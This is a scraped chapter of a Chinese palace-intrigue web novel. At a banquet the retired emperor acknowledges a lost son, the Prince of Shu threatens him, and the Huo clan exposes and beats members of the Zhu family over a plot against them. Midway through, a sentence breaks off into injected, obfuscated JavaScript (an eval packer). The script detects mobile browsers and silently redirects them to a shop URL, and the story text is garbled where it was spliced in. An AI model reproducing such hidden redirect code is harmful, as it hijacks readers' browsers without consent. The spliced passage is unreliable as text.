晏霁之叹,人,可真忌讳想当然小看谁。皇帝嬴忱璧有点说不出的滋味,他从未想过太上皇会宽容。霍绥业感叹,圣人纵横朝堂几十年,这恩威并济收揽人心玩得太炉火纯青了;大家都觉得你要借题发挥了,偏偏,圣人反其道而行之,谁不震撼? 班丞相反应过来领旨,原牧炽拦着护国公夫人,站起来推辞:“圣人,无功不受禄,小臣没立过多少战功更比不得父兄,不能受您的封赏,请您收回成命。” “小十一都封郡王了,小六还什么爵禄都没有不合适,是寡人疏忽了。”太上皇笑容洋溢好像猫逗着老鼠:“小六还没回来也无妨,这不还有你呢,你帮你表弟先把亲王做着,小六回来以后,你把亲王的爵位还给他便是,你觉得怎么样?” 原牧炽窝火:“不怎么样,就没有这种荒唐事,圣人还是别逗弄小臣了。” “那你是想做侯爷还是想做王爷啊?”太上皇犹如吃定他一般,鞠太妃再被气得够呛,庄太妃气息翻涌是真难忍,当年楚王还在时,圣人也没这么疼爱过! 原牧炽:“……”他居然被威胁了,被威胁了?!欺人太甚! 湘王溜到大舅身边问这原牧炽是他六哥吗?得到回复:圣人认就是,圣人不认就不是,王爷若觉得他是就私底下当他是,王爷不信,自不必放在心上。 原牧蔷小姑娘忽然心里有点空空的。 护国公夫人忙拽着孩子谢恩,原牧炽憋屈:“我做侯爷吧,小臣谢圣恩。” “好!”太上皇站起来,嬴忱璧忙要过去扶时太上皇示意没事也让大臣们坐着吧没事,他亲自走到这小将面前注视少许,长叹道:“明早去给原贤妃上柱香,既然还不想回来,就等你想回来时再回来,此事你尽管让护国公放心,寡人没那么下作。” 晋王妃扯丈夫的衣袖,晋王没管。湘王观察会儿,虽然他父皇好像认了,但?他沉吟下去找媳妇要小镜子,他就先照照他和原牧炽能不能像到让他相信吧。 虢王世子妃瞥眼公婆,嗤笑声,章醇嫁入原家十多年居然连这点事都打探不到!虢王压压郁气当没事人,虢王妃恼火,可她女儿是个不屑俗事的性子,只能受儿媳妇气。 乐邑长公主奇怪,这若真是她六哥,六皇兄对霍灵渠怎么会毫不在意?她扯扯薛述聪,薛述聪低叹:“他经历了那么多,童年的喜欢早就烟消云散了吧。” 是吗?会吗?乐邑长公主看向这个原小将军,总觉得她六哥不是这样的。 显国公还有好些位大人看的是太上皇这一手高明啊,这就消了不少原牧炽的刺。 来硬的,原牧炽保管能硬杠到底,可来温情的,原牧炽还能硬刚吗?心软了都未必啊,十多年的怨和恨突然间被压得发作不起来,这就是以柔克刚。 原牧炽确有些不知该说什么,太上皇拍拍孩子的手,转身往玉阶走去,原牧炽便坐下,下刻对上小妹委屈巴巴还夹着心酸的眼神,他无语:“你还不认我是你哥了吗?” “认啊,我当然认。”小姑娘连忙说。 “这不就结了。”原牧炽揉揉小妹的脸,告诫:“你只要记住我是你哥,我们是一家人,同生死共进退的一家人,别的什么都不用管,知道了吗?” “嗯嗯!”原牧蔷小姑娘眉眼转笑,当下就不纠结了。 晏副相和房副相相视眼,房副相笑笑,不管圣人有几分真心还是全出于对朝局的考量,认出原牧炽是他的六皇子确实是对原家这趟发难最好的处理了。 乐邑长公主来到童年伴读面前,霍舒窈瞅瞅她,带她去找她大哥要个答案,就原牧炽对霍灵渠这态度,她宁愿这人只是原牧炽而非还是当年的六皇子,若不然,这人得有多冷情,原牧炽输掉比试会发飙正常,但若他还是嬴忱旌,还能正常吗? 童年时老六对霍灵渠多好啊,而今他居然能对着霍灵渠又凶又鄙薄嫌恶还要打,你已有未婚妻不想再和青梅竹马有纠葛也犯不着绝情到好像你们从不相识一般吧?! 至于霍舒窈怎会替霍灵渠抱不平?当然是她可以欺压妹子,外人不行啊。 “他失忆了,十三四岁前的往事都忘记了。”霍海啸解惑。 “啊??”霍舒窈和乐邑对视眼,这也太离谱了吧,对,离谱,霍舒窈就觉得离谱,搞什么呀居然还能搞出个失忆来,真不是在逗他们吗? 乐邑回到薛家这边把情况告诉薛述聪,薛述聪错愕地再去找晏霁之求证,晏霁之很能理解他的感受:“我也很神奇,但看他这活蹦乱跳的德行应该是失忆了吧。” 薛述聪瞥眼刚冒出来的滕王,滕王问:“就是说,我找他叙旧,他会问你谁啊?” 晏霁之诚挚地点头,薛述聪想捂脸,滕王肝疼地看两眼那倒霉堂哥,找小太监要笔墨来写张纸条送去给皇帝和太上皇。嬴忱璧收到纸条看过,轻咳下,让人呈给太上皇,太上皇展阅过愣下,滕王报:皇伯伯,老六失忆了,十三四岁前的往事都忘记了。 失忆?太上皇还有点反应不过来时,一只麻袋被甩入殿内重重摔下,好多人神经大作,皇帝嬴忱璧站起来。景福殿前,禁军将来人团团围住,顾统领疾步进殿禀告。 “圣人,陛下,来人自称蜀王,属下等没见过蜀王,且他持刀而来不肯放下兵刃,属下等只得将他围在殿外,刚才不慎被他甩入只麻袋,请圣人、陛下降罪。” 蜀王?许多人面面相觑,新鲜也不新鲜,毕竟太上皇明早就要颁旨改派蜀王镇守北境。嬴忱璧重新落座,太上皇看眼麻袋吩咐:“知道了,让蜀王进来吧,添份桌椅。” 想见见蜀王庐山真面目的人还真不少,来人出现在殿前,殿内视线皆投过去,乍一见,除太上皇和霍擎霍漓江没被惊讶之外都愣了愣,蜀王单肩扛着长刀,粗放,狂迈,还有种野人的凌乱感,活像个山大王,霍漓江真嫌他把自己整成个流浪汉还上瘾了。 霍太后嫌邋遢不看,魏王怀疑这位三皇兄几天没沐浴了,湘王震惊了,他还有这么一款哥哥,这皇兄以前是在行走江湖吗?原牧炽总觉得这蜀王有点眼熟,怪了。 “真感人啊,他外祖家死光了吗,你这么上赶着给封赏,我这蜀王的爵位可是我把刀架在你脖子上要来的!”蜀王扛着刀走到殿中把长刀往地砖上一竖,刀锋寒意森森极有压迫,不要说行礼了,他瞧都没瞧皇帝,对着太上皇老爹都是副抗衡之势。 胆小的心惴惴,看这柄长刀莫名有种削铁如泥之感,好像它随时能往自己脖子上招呼。胆大的在观望在打量还有蜀王刚才的话,蜀王说他这爵位怎么来的? 大殿内诡异地安静起来,仿佛没人注意到蜀王的无状。 太上皇很轻微的压:“胜儿!” 原牧炽终于认出来了:“你是蜀王,你他娘的是蜀王?” 蜀王瞥瞥他:“按我自己的意愿,我可不想跟你做兄弟。” “谁想跟你做兄弟,我媳妇呢?”原牧炽语出惊人:“你把我媳妇拐哪儿去了?” 包括霍擎在内被诧异的人们:这又是什么情况? 原牧蔷小姑娘拽她娘,护国公夫人隐隐激动,这是这么多年终于有线索了? 蜀王一僵,以迅雷不及掩耳之势冲到他身边捂住他嘴巴,再对那爹说:“我出去跟他解决点事情,我跟他把事情解决完我就进来跟你算。”语毕把这倒霉弟弟往外拖。 好多人看呆了,原牧炽憋屈死了,但念在能找到他媳妇的份儿上,忍了! 太上皇懒得猜蜀王做过些什么。 魏王也懒得猜。 颓丧好些的晋王自嘲,他们兄弟还真是没一个是省油的灯。 皇帝嬴忱璧眼神微妙地看向霍家诸位,霍秦川心说,他们应该没搞错吧? 霍擎看向霍漓江,霍漓江怪了,莫非蜀王前几年就往北境伸手了,还让原家以为是他把原牧炽的未婚妻和原家的小孙子带走了?可盯这种事,蜀王没这么小家子气吧? 晏霁之想,阿胜,胜儿,嬴忱胜,蜀王就是阿胜吧,竟然是蜀王亲自出马。 那两位返回时原牧炽一脸便秘样但没再闹腾就回位置坐了,蜀王抄起长刀指指那麻袋,抬抬下巴示意:“猜得到麻袋里的是什么吧,你可都派人盯着的。” 太上皇当然猜得到,更清楚蜀王怎么会凑这个热闹,霍家找过蜀王了呗。 “父皇会处理,你一路风尘仆仆刚回京,别再让你母妃操心了。” “我要给我表妹送份见面礼,还请父皇你把湘西的金矿给我让我送给表妹做见面礼。”蜀王自顾自提要求,可谁还不清楚湘西金矿的情况,众人面面相觑,更惊诧于蜀王的索要,还没见识过陛下和众王爷们有哪位敢这么跟太上皇闹呢。 虢王世子妃朱氏打量过蜀王,没看眼里,即使她爹曾在蜀王手里吃过瘪。 太上皇问:“什么表妹,父皇怎么不知你何时多了个表妹?” “霍灵渠啊,表妹都长这么大了,我这做表哥的还连份见面礼都没送过,说不过去。”蜀王似乎还好说话,太上皇也没不同意:“换个别的,送金矿不像样。” “你给不给?”蜀王猛地一声怒喝把众人差点吓跳:“老子没那么多耐心啊!” 刚有丝放松的皇帝嬴忱璧险些没受惊,晏霁之不禁多瞟瞟他,小弟弟们看蜀王惊奇了,曾怀疑过蜀王带不了兵的人们想,就凭这股匪气,蜀王去前线绝对没问题。 敢对父亲自称老子,敢对太上皇自称老子! “胜儿,父皇劝过你几回了,处事不要这么急躁,你想给表妹送见面礼,父皇又没拦着,但总得送样合适的,送金矿合适吗?”太上皇对蜀王的暴躁很习惯了。 大家伙想好吧这就是父亲和叛逆的儿子,没有上升到君臣,他们就看着吧。 鞠太妃憋闷地灌酒,庄太妃心中冷笑,难怪蜀王敢这么冲撞你,原来是你纵容出来的,又是对第六子爱重又是对第三子宠溺还帮皇帝立威,你把楚王置于何地呀? 晋王心又郁郁,这架势,父皇最宠爱的儿子还是他的同母哥哥吗? “你看我像是来跟你商量的吗?”蜀王耐心耗尽,抄起长刀就是一记威逼:“要么你爽快把湘西的金矿给我,要么,我再给你放把火?”说着,他倨傲冷睨:“看看,我老爹的命是有多硬,我放几把火才能烧死你还是我放几把火都烧不死你?” 太上皇顿时扎心得慌,同道中人们讶然,合着那是蜀王放的火? 比起蜀王言语间的大逆不道,蜀王将刀锋指着太上皇似乎都不算什么了,何况对于没法领悟的看客们是真古怪,古怪到没暇关注蜀王的不敬之举,太上皇几时遭遇过火灾?难不成是太上皇微服外出时的事且太上皇还宽容了,否则怎么可能瞒得住? 霍太后蹙眉,显国公看向霍家,霍秦川摇头,他家也不清楚。 湘王想不懂这三皇兄是有什么苦大仇深吗,不然为何要给父皇放火?同疑的看官不少,但蜀王太神秘,这份神秘似乎就能令大家略过探底猜必是有内情。 虢王世子妃仍旧没把蜀王看眼里,即使圣人宠溺又如何,全是匹夫之勇。 大臣们暗暗眼神交流着,晋王陡然恨,既恨这么大的事他都没收到过风声,更恨蜀王都给爹放火了这父皇居然都能宽容,那11年前怎么就不能饶他哥哥姐姐一命? “皇兄,把刀放下吧。”嬴忱璧劝,蜀王没理会,转向一直在打量他的那位,魏王被揪住了非但没退反而更有兴味:“那么,国师差点…被抹了脖子?” “当然还是我做的!”蜀王豪迈昂首又阴鸷冷硬,神挡杀神、佛挡杀佛。 晏霁之了然,难怪圣人能放心国师。嬴忱璧眼底疑窦生,国师和蜀王是敌对的吗?他直觉怀疑在近乎灭族的惨祸前、国师未必会计较自己的得失。 在座许多位都相信这是蜀王和他小舅在做戏给太上皇看,湘王想,原来魏王知道父皇遭过大火呀,晋王缓缓攥紧拳头,魏王给这皇兄竖大拇指,随即被他们老爹炮轰:“你们两个兔崽子想干什么,约着下回合伙给老子放把火吗?” 魏王不咸不淡地转过头,魏王妃愣下,他们不给父皇赔罪吗?何况父皇震怒,再不请罪还能得了吗?可她看丈夫就没当回事,想规劝都犹豫了。 霍秦川有点叹惜,看魏王这德行就很显著了,这太上皇妹夫对儿子们不错的,否则魏王哪还能有不搭理老爹发怒的闲情?都是有父亲疼爱着才惯得出来呀。 蜀王反呛:“你吼什么,我不是记着你是我爹没把你烧死嘛。” “老子是不是要谢谢你?”太上皇怒叱,蜀王干仗:“你爽快点把金矿给我。” “没有!” 霍擎有点惨不忍睹,瞧他这女婿都被逼到跟儿子像小孩家那样对骂了,众臣看向皇帝,嬴忱璧示意大家没事,再打圆场:“三皇兄——”只三个字就被蜀王打断:“老五!可是我令父皇禅位,没有我哪有你还有老四的今日,哥哥的大恩,你们怎么还?” 被意外到的人们惊愕,是蜀王令圣人禅位?! 但惊愕过后,大多数人也就过了,毕竟今年都已经是正徽五年了。 湘王妃揣着担忧看丈夫,湘王眨巴眨巴眼又看看这三哥,眼中透着新奇。湘王妃抿笑,她这相公其实没多少权欲之心的。晋王妃恨恨扯丈夫,晋王今夜受刺激多了,没什么波动。魏王妃看丈夫似乎早就有数了?崇孝长公主郁结,滕王瞧这堂兄挺有意思啊。 虢王世子妃朱氏怎么看都觉着就蜀王的脑子不可能有这本事吧。 霍巨浪跟兄长怀疑,蜀王何故要哄圣人禅位? 晏煦之以家族安稳来跟堂哥揶揄,他们要不要谢谢蜀王?晏霁之怀疑他皮痒了。 薛述嘉想跟大哥喝一杯,薛述聪跟他碰杯,乐邑看得懂,这是省得薛家帮晋王争了,比起庄太妃和晋王还没成事就想压制薛家,当然还不如不费那个劲儿。 班丞相想起上月末他陪着皇帝在椒房殿外看到的那一幕,他不猜蜀王是否有和魏王晋王同样的心思,但这几位王爷乃至是镇南侯都绝不会让侄儿压着是没错了。 霍擎琢磨,没有我哪有你还有老四的今日,这和魏王能有什么关系? 鞠太妃憋闷之余涌起股心酸,若是她的皇儿还在,一定也很得圣人疼爱。 庄太妃就猜圣人禅位可能和蜀王有关,没想到还真是啊,这刻是真恨蜀王成事不足败事有余,放那把火是这样,令圣人禅位还是这样,你闹什么闹啊非得做半吊子的事,你若是能令圣人禅位给你倒也是你的本事,你没这本事还撺掇圣人禅位图什么呀? 谁最窝火太上皇当年禅位呢?恒山王排第二,虢王就能排第一,当时死活没拦住,眼下突然捅出始作俑者,这俩人真是又恨又被憋得活撕他的心都有。 嬴忱璧停顿下,蜀王踩着空隙再问遍:“你到底给不给?” 太上皇显见得就是在气头上:“没有!” “这可是你自找的!”蜀王大步流星走去大臣那片撒堆纸,片片白底墨染的宣纸似飘雪纷纷扬扬飘落,转眼间没入流彩尽头,太上皇意识到不好:“把东西拿来!” 两名内侍忙去把宣纸收起来呈给太上皇,蜀王提醒:“我扔了二十张。” 他摆明看清楚了内侍在收拢时有遗漏,太上皇又被气一道,一掌拍在这堆宣纸上,也懒得派人再去收,没好气安抚:“你看看什么时辰了,就这么件事了,坐吧!” 蜀王勉勉强强暂且休战。 霍擎拄着拐杖站起来,使唤孙子:“霍雄鹰,去把麻袋打开。” 好多人这才再注意到刚才被蜀王扔进来的麻袋,霍雄鹰不想理会被大哥踹脚,他给这大哥记笔账再过去把麻袋解开,看到个昏睡的男人躺在麻袋里。 “祖父?”霍雄鹰感觉怪怪的,霍擎走到麻袋旁拿拐杖扒拉下,多数人探头望,被打过招呼的大人们差不多都猜到霍家要立威了,但这情况真没看出个所以然来。 庄太妃一猜就知道这是朱家偷运进来的男人被霍家给截住了,她是真觉得可惜了,霍家居然这都给防住了。虢王世子妃也猜到了,真气那蠢货,这都能露出马脚来被霍家给揪住!当然了,她是丝毫不担心的,只可惜这么好的计策打水漂了。 “蜀王你绑个男人来做什么?”祖父装深沉,霍雄鹰自来熟地询问蜀王。 “是祖父请蜀王殿下搭了把手。”霍擎转向上座直视太上皇女婿,松弛的眼皮下漾起裹着锋利的温和:“三十年了,女婿啊,你还记得吧,三十年前温献皇后得你挚爱,朱家想从宫外运个男人来钉死温献皇后,可是你亲自在宫禁前把这桩腌臜事截住的。 想不到,三十年后我霍家竟也能遇到这么桩腌臜事,竟然还是朱家在背后。” 满座哗然,猝不及防的人们惊住,霍雄鹰怔下狂暴:“祖父你说什么?” 整个大殿仿佛有铜鼓在敲般似鼓声如雷,是不是穆国公打过招呼的人家都几乎惊到了,霍老夫人要站起来站不起,穆国公夫人崔氏连忙扶着婆母站起来,霍舒窈捧着孕肚直挺挺地犹似鲤鱼打滚般立起,萧耿烨连忙去扶媳妇。 乐邑捂住嘴巴,不敢相信。 萧灼灼紧张得也不敢相信,朱家这么做不是要跟霍家结死仇吗?不可能吧。 薛述聪哥俩看向他们爹,又是何尝敢信?霍巨浪都难以置信,霍家还没倒台,朱家就敢这样算计霍家?除他外,在座的霍姓没什么不相信的,霍枫叶陡然恨意爆破。 湘王心狂跳,晏霁之望着霍巨浪生出个念头,佟振羽兄妹出狱后若找霍巨浪想求宽恕,霍巨浪看他们可怜都不会再心软了。晏煦之看着堂哥,晏霁之点点头。 真的! 桓炜彤倒抽凉气,她姐姐霍二奶奶桓炜若是心都要烧起来了,霍家的女眷,甚至在座许多女眷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459320|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都不平静,这种事是真要把人逼死呀,霍老夫人眼底泪光和恨意交织。 晋王联想明白都有点心焦,怎么也没想到朱家想染指京畿大营用的是这种手段? 班丞相越想越冒冷汗地看向同僚们,显国公背脊发凉,都没搭理儿子们的疑惑,朱家、昌隆侯简直是要疯了。武襄侯低下头闭闭眼睛,穆国公说霍家今夜要立个威给忠毅伯府看,圣人和陛下都已经同意了让大家配合好时多少人以为就是走个过场呀。 英王晏墉低眸,左手握着右手,握得右手泛白,想到三十年前,想到妹妹了。 忠毅伯忒可惜地灌酒喝,霍家要死啊消息那么灵通?! 虢王夫妇和虢王世子夫妇可比他觉得可惜多了,虢王霎时间都要憋屈死了,霍家是铁打的啊这都能防住?! 鞠太妃猛然意识到,朱家是想把这件事推给她让霍家以为这是她和鞠家做的? “老穆国公,你都这把岁数了还张口就胡编乱造肆意污蔑,真不嫌贻笑大方吗?”虢王世子妃懒懒坐着轻蔑回击:“不过,你若是承认你是年纪大脑子糊涂了,跪下给我赔个罪,念在你这把老骨头也没几天活头了,我就不跟你计较了。” 跪下? 景福殿内的视线全转向注视她,太上皇都不禁多打量番这个表侄女,鞠太妃多想踩死霍家都受不了地想翻白眼,霍太后没被气笑反而庄太妃被气笑了,薛述嘉都被气笑了,朱家现在什么德行啊都,虢王世子妃把自己当谁啊,太皇太后吗? 湘王冲上前要干架被外祖父拦住,霍擎老脸笑盈盈:“世子妃,这十五年朱家是风光,可十五年来朱家再风光也没压倒过霍家,你就那么自信我老头捏不死朱家吗?” 虢王世子妃朱氏被逗乐了,高昂下颌鄙薄:“好啊,你捏给我看看呀?” 霍擎说变脸就变脸,那态度就像老大收拾个小喽喽:“霍海啸,把她宰了。” 在绝大多数人还没有反应过来时,霍海啸大步走过去,在所有人注视下,在虢王世子妃朱氏还没来得及再开腔前,他一拳头挥过去把人撂翻,再把刚被撞翻的人拖起来像摔打死鱼一般把她拖起来甩下反复捶打,周围的人群被吓得连连退开。 好多人看傻了,鞠太妃看懵了,庄太妃脑壳也卡住了,霍家是疯了吗? 谁不知道圣人对朱家泼天荣宠啊! 章醇郡主不爱管事都看着嫌瘆得慌,霍家真想跟朱家结死仇吗? 然,她不会想不是朱家想跟霍家结死仇在前吗? 这大概是太上皇隆宠朱家之下太多人理所当然的想法吧。 霍雄鹰摩拳擦掌,恨不得替他大哥去揍。在座的霍姓各个面沉如水,霍舒窈冷冷看着,不觉得痛快,就是恨,重重的恨!薛述聪拽拽他爹,显国公给四个字:圣人允了。 薛述聪直觉地不可思议,圣人都把朱家宠上天了,怎么可能? 萧灼灼心慌,霍家不是要动真格吧,可是,可是…… 原牧蔷小姑娘拉住哥哥的手臂,不少年轻的都拽住了家长,薛述嘉媳妇拉住大嫂,乐邑长公主反握住弟妹的手。侯瞻渥也拽住了他娘,但他不是害怕而是焦虑,摇过他娘的手臂又去摇他爹的手臂,就霍家这肆无忌惮劲儿,他的阿柔还能逃得过吗? 薛述嘉远远白他眼,刚刚突如其来的有点被吓到了都被他这德行整恢复了。 虢王夫妇和做丈夫的虢王世子都一时间搞不清楚这真的假的,不敢相信啊,霍家这般对朱氏女不是在找死吗?何况太上皇还坐着呢!还是朱氏两个年长的儿女呆滞下后冲上前去,十三岁的男孩搬起锦凳去打,十岁的女孩抄起碗碟果盘就砸。 霍雄鹰见状,毫不犹豫地去收拾两个小屁孩。 一名内侍靠近穆国公,说,人到了,霍秦川让霍巨浪去把人迎进来,是两位朱太妃,被五花大绑且封住嘴的堂姐妹俩进殿来就看到那一幕,两人都不可思议了。 “圣人——”意识到眼前这一切是真的,虢王狂喊太上皇,他还没多言,霍擎的风凉话飘来:“恭喜虢王爷,忍十多年终于苦尽甘来能摆脱朱家了。 您若是狠不下心料理朱氏生的娃,您只管把朱氏女生的孩子送到霍家,老头我帮你砍,一刀一个脑袋,几刀下去,您就什么烦恼都没有了。” 看呆掉的人们也醒过神了,鞠太妃狂扯庄太妃的衣袖,庄太妃握住她让她冷静。 忠毅伯的酒杯掉了,他刚打算喝酒看戏,谁想到?!霍家是疯了吗? 虢王妃冲上去救她的孙子,霍雄鹰怒得正愁没地儿发泄呢,虢王妃又如何,他霍家现在还是横着走的呢,他一拳头挥过去照打不误,虢王懵了下,虢王世子不可思议下后不信邪地冲上前去,霍雄鹰接着打,打得忠毅伯心肝颤颤,霍家要疯了啊? 章醇郡主瞪着眼眸不敢相信地滞愣下急忙从原家这边赶去虢王府那边,原牧蔷小姑娘抱着她哥的手臂低头暗笑,虽然她大嫂人不错,但她对虢王府真没好感。 晏和之凑到堂哥身边幸灾乐祸:霍雄鹰这时候不该来一句:我霍家不发威,你当我霍家是病猫啊?薛述嘉同样很能接受地跟他哥吐槽:当霍家泥捏的啊,真是一个个被圣人宠几年就不知道自己几斤几两了,霍家还是当朝第一豪族呢,能怵个虢王府吗? 薛述聪忽就懂了,是他们只看着圣人对朱家泼天荣宠而没想过圣人更看重霍家,否则以昌隆侯的猖狂若是圣人在朱家和霍家之间更向着朱家岂会容忍被霍家压着。 庄太妃眼风慢慢扫过霍姓,老穆国公,霍海啸,霍秦川、霍漓江、霍绥业、霍秉坚……一个个骄横狂妄胜过原家的威胁十倍,皇帝遇到一个这样的威胁应该都是不可能容忍的呀,何况霍家有这么多威胁,为何圣人还偏偏就是这么宠着霍家呀?! 翊善伯观察两眼就猜到庄太妃在想什么了,心底嗤笑,鼠目寸光,朝堂要的就是人才,一个坐拥天下的皇帝得多没用才能容不下有本事的大臣?! 虢王眼前发黑,打个激灵就狂喊:“圣人!” “看来虢王府和朱家关系很好,你们夫妇这么在意朱氏女生的孙子。”霍擎恭维。 有些人闻言莫名咯噔下,虢王怔下,不管这老匹夫只喊:“圣人!!” “不要再喊圣人了。”霍擎一脸的嫌聒噪:“你眼瞎,你就当我女婿和我外孙都瞎了吗,我和我女婿谈过了,把朱存焳这两个女儿的命给我,这件事就算了了。” 两个?小朱太妃倏然看向他,虢王微微迟疑下仍再喊:“圣人——” 霍擎再打断:“虢王爷是想让老头我把你们家在仕途的全都撸下去吗?” 虢王听不懂地看向他,许多人都不敢相信地瞩目着,鞠太妃猛地拽紧庄太妃,霍擎笑:“不是有个活例子在你们眼前吗,怎么总要觉得自己与众不同呢?”霍擎转向上座,提议:“女婿啊,把虢王妃娘家在仕途的全都撸掉吧,给虢王长个记性。” 众目睽睽,许多人真是心砰砰跳地看着太上皇,太上皇沉默过后同意:“好。” 虢王难以置信地跌退了步,虢王世子受不住地向霍雄鹰告饶,霍雄鹰嫌不经打地罢手,章醇郡主赶忙去扶母亲,虢王妃险些站不起来,没被打得站不起来而是被太上皇的旨意打击得险些站不起,怎么会这样?怎么会突然之间圣人对他们好像恩宠全无了? 班韫堂想起霍贵妃说的:总不能因圣人您爱重朱家,我们就要对朱家人全都顾忌吧?是一个理儿,圣人恩宠着虢王府也没得不论出什么事都不处置虢王府吧。 鞠太妃和她兄长郢国公都有点胆寒,从未觉得圣人如此恩宠霍家,怎么会? 晋王攥紧拳头,皇帝嬴忱璧传令:“吏部明日就安排吧。” 吏部薄尚书站起来领旨,虢王夫妇和虢王世子再打个寒碜,忠毅伯看着发憷,空出几个位置来能让他安排都高兴不起来,反而心底发寒,他只觉得疯了,要疯了。 “这个事儿呢,是昨儿个上午,虢王世子妃进宫来给她的庶妹小朱太妃出了个主意。用鞠太妃做箭靶给长春宫送个男人过去,事发后,霍家若只能查到鞠太妃,霍家和鞠家死斗,昌隆侯趁机拿下京畿一座甚至是两座大营。若霍家能查到朱家,先借霍家的手把昌隆侯那位柴姨娘一系给拔了,朱家再请圣人将霍家灭了,朱家登顶当朝第一豪族,妙哉!” 霍擎老脸笑意犹在,音锋陡然转厉,是不容忽视的杀伐气息—— “昌隆侯送进京的哪是三道难题,分明是冲着霍家来的!” 满殿落静,犹似夏日里刮进了瑟瑟冷风。 显国公看眼老穆国公,此事一点风声没传出来,这应该就是老穆国公全凭阅历防范的。他不得不承认,若是他,他防范不到,比起霍家,他的火候还差得远。 是啊,一般只会想后宫些许小争端何至于能闹到结死仇,实则人家就是冲着你来的要把你连根拔起,班丞相双手紧握,换他真不会想这么深。 薄尚书低眸扫过眼没被收走的纸片,他想这是陛下得到的密报吧,前天,陛下和圣人就是因此吵得不可开交吧?趁着大家不注意,他把宣纸往下传。 乐邑长公主心发凉,不管怎么样她都觉得霍家比朱家让她觉得安稳多了。 朱太妃嗤笑,她这位四叔的计谋可真是越来越高明了,宠三十年的宠妾和儿女都能这么轻易地舍掉。小朱太妃心下一颤,再度挣扎起来让霍家快把她放开。 “太妃不必怀疑这只是你嫡母想把你们除掉,你嫡母一系中若有人能出此计策,她早就把她的婆母和柴姨娘压死了,这应该是昌隆侯座下第一幕僚献的计。 但你尽可放心,此计若没有昌隆侯的允许,送不到你面前来,你爹在内宅中最宠柴姨娘及其生的儿女,让你们死的对他最有价值也不枉他宠你们一场,太妃说是吧?” 霍擎笑眯眯安抚兼求个认同,小朱太妃只疯狂挣扎。 郢国公看眼蜀王,将传过来的宣纸攥紧。阮大人退避到角落,找名内侍,塞锭银元宝,请内侍走趟宁寿宫让阮太妃派个最信任的宫人来趟景福殿,他有要事。 霍海啸把人拖到他祖父面前,拖立起来跪着,霍擎转向蜀王:“王爷,借宝刀一用。” 众多观众看着都忍不住屏住呼吸,小朱太妃都停止挣扎了。 霍家前面发再多狠相比起来都是虚的,这才是实的,霍家真要砍吗? 甚至于,霍家真会砍吗?霍家真敢砍吗? 129. 第129章 没人怀疑霍家会怕朱家,但下死手到底不同,关键还是在于太上皇。 以太上皇这十多年来对朱家的泼天荣宠,真会任由表侄女死在他面前都不管吗,没制止霍海啸是朱家行事太过得敲打警戒了,但太上皇能允霍家之请赐死朱家女? 绝大多数人是不信的。 千百重瞩目下,蜀王把刀递给霍擎,霍擎把拐杖给外孙湘王,举起寒光鉴人的长刀,在许多人心跳加速、许多人想太上皇应该要阻拦了吧、还有些许人看霍家虚张声势的笑话时,被打得去掉半条命的虢王世子妃朱氏犹如回光返照般聚起精气神喊:“慢!慢! 老穆国公你不能动我,你要是敢动我,我爹绝不会放过霍家,这件事就了不了,你若是真的怒火难消,你就杀她们两个,她们两个贱命一条,我爹不会在意的。” 朱太妃被气笑了,小朱太妃也是冷笑起来,这嫡姐也就这点德行了。 耳聪目明的人自然看得懂,虢王世子妃就是承认了霍家没污蔑,朱家就是做了的。至于可能是被霍海啸打得没辙了想暂时稳住霍家?当然不是,若朱家没做过,太上皇还坐着呢,她向圣人喊冤求救便是了,太上皇还能放任霍家冤枉朱家吗? 这就是她情急之下最直观最真实的反应。 何况虢王世子妃言语中的她们两个指的可是圣人的太妃呀,骂圣人的太妃们贱命一条,又指摘太妃的生死,她可还有分寸?那么自然,这是她没有修饰的反应。 霍擎注视她两息时间,似有权衡:“那你能付得起什么价钱?” 萧灼灼松口气放下悬着的心,能有的谈就好。 自然是有的谈就好,能谈就证明霍家喊什么要昌隆侯两个女儿的命只是想拿好处。 许多人自觉懂了,对嘛,这才正常,乃至于似忠毅伯、鞠太妃、朱太妃和小朱太妃等人瞬间心态扭转看霍家这假模假样又都染上了轻蔑,有本事你霍家砍呀。 “你想要什么?”虢王世子妃朱氏尽量让自己镇定。 “北境有三十万大军,我霍家要拿十万,你能给得起吗?”霍擎问。 好多人看老穆国公没老糊涂吧在皇帝和太上皇面前谈这种条件,精明些的看出老穆国公是在诈虢王世子妃朱氏,但就算是诈,霍家在两位至尊眼皮底下谈北境的大军也休想落好,虢王世子妃思量下又看向太上皇,看见圣人一脸淡漠。 “能!”她冷静下也懂了圣人任她被霍家欺压是对朱家今夜做的事动怒了要敲打朱家,但圣人可能会反偏向霍家吗?笑话!干脆就把霍家拉下去! “霍家想要北境大军,我请圣人给你们就是了。”虢王世子妃的傲慢似又回来了。 一些人看老穆国公被虢王世子妃反将一军在心底暗笑,看霍家怎么向圣人交代。 薛述嘉扯扯他爹没得到回应又扯扯大哥,薛述聪低语:“你不看看她说什么,我请圣人给你们就是了,她这是多大脸啊连北境的大军都能由她张口就来?” “可这是老穆国公挑起的,反正朱家有多猖獗,圣人都看在眼里,老穆国公拿北境大军来诈不是非但多此一举还自己惹身臊吗?”薛述嘉可不觉得霍家谈北境大军还能全身而退,然后就被他爹踹脚,显国公嫌他不知道动脑子:“老穆国公什么份量?!” 呃?老穆国公谈北境大军都没事吗?薛述嘉觑觑他爹,还是不问了。 晏霁之也在给堂弟解惑:“昌隆侯想换掉福建总兵,闹两年了,圣人都还未允,何况是北境的大军,圣人再放纵朱家,军队至少都还没让昌隆侯碰过。今夜昌隆侯在都不可能正面接老穆国公的发难,虢王世子妃这是就把她自己当太上皇了吗?” “哦,所以老穆国公没被反将一军。”晏和之怪道:“可霍家觊觎北境也不是什么秘密,老穆国公还堂而皇之地拿北境来说事,这不是伤敌一千自损八百吗?” “你都说不是什么秘密了,老穆国公说说又何妨?”晏霁之失笑:“圣人对霍家若是连这点胸襟都没有,霍家连着晏家在朝堂不早就该没有立足之地了吗?” “哦,虢王世子妃这就是在自作聪明。”晏和之懂了。 